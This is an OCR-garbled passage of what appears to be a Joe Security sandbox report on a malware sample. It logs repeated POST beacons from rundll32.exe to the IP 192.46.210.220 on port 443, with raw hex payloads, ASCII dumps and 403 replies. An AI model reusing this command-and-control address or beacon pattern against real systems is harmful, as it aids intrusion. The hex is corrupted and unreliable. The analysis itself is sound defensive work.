21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:37 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc 2701890027871 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:40 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:05 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:40 UTC 99

2021-10-28 02:58:41 UTC 104

Session ID Source IP

21 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:43 UTC 104

2021-10-28 02:58:43 UTC 104

2021-10-28 02:58:44 UTC 109

Session ID Source IP

22 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:46 UTC 109

2021-10-28 02:58:46 UTC 109

2021-10-28 02:58:46 UTC 114

Session ID Source IP

23 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:47 UTC 114

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49840

Direction

ouT

ouT

Source Port
49844

Direction
ouT

ouT

Source Port
49848

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:41 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:44 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:46 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:47 UTC 114

2021-10-28 02:58:48 UTC 119

Session ID Source IP

24 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:49 UTC 119

2021-10-28 02:58:49 UTC 119

2021-10-28 02:58:50 UTC 124

Session ID Source IP

25 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:51 UTC 124

2021-10-28 02:58:51 UTC 124

2021-10-28 02:58:52 UTC 129

Session ID Source IP

26 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:53 UTC 129

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49852

Direction

ouT

ouT

Source Port
49856

Direction
ouT

ouT

Source Port
49862

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:48 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:50 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:52 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:53 UTC 129

2021-10-28 02:58:54 UTC 134

Session ID Source IP

27 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:55 UTC 134

2021-10-28 02:58:55 UTC 134

2021-10-28 02:58:56 UTC 139

Session ID Source IP

28 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:57 UTC 139

2021-10-28 02:58:57 UTC 139

2021-10-28 02:58:58 UTC 144

Session ID Source IP

29 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:59 UTC 144

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49866

Direction

ouT

ouT

Source Port
49871

Direction
ouT

ouT

Source Port
49874

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢c
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:54 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 c¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc 2701890027871 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:55 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:58 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:59 UTC 144

2021-10-28 02:58:59 UTC 149

Session ID Source IP

3 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:07 UTC 14

2021-10-28 02:58:07 UTC 15

2021-10-28 02:58:08 UTC 19

Session ID Source IP

30 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:01 UTC 149

2021-10-28 02:59:01 UTC 149

2021-10-28 02:59:02 UTC 154

Session ID Source IP

31 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:02 UTC 154

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49763

Direction

ouT

ouT

Source Port
49884

Direction
ouT

ouT

Source Port
49886

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:59 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:07 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:02 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:02 UTC 154

2021-10-28 02:59:03 UTC 159

Session ID Source IP

32 192.168.2.6
kBytes

Timestamp transferred

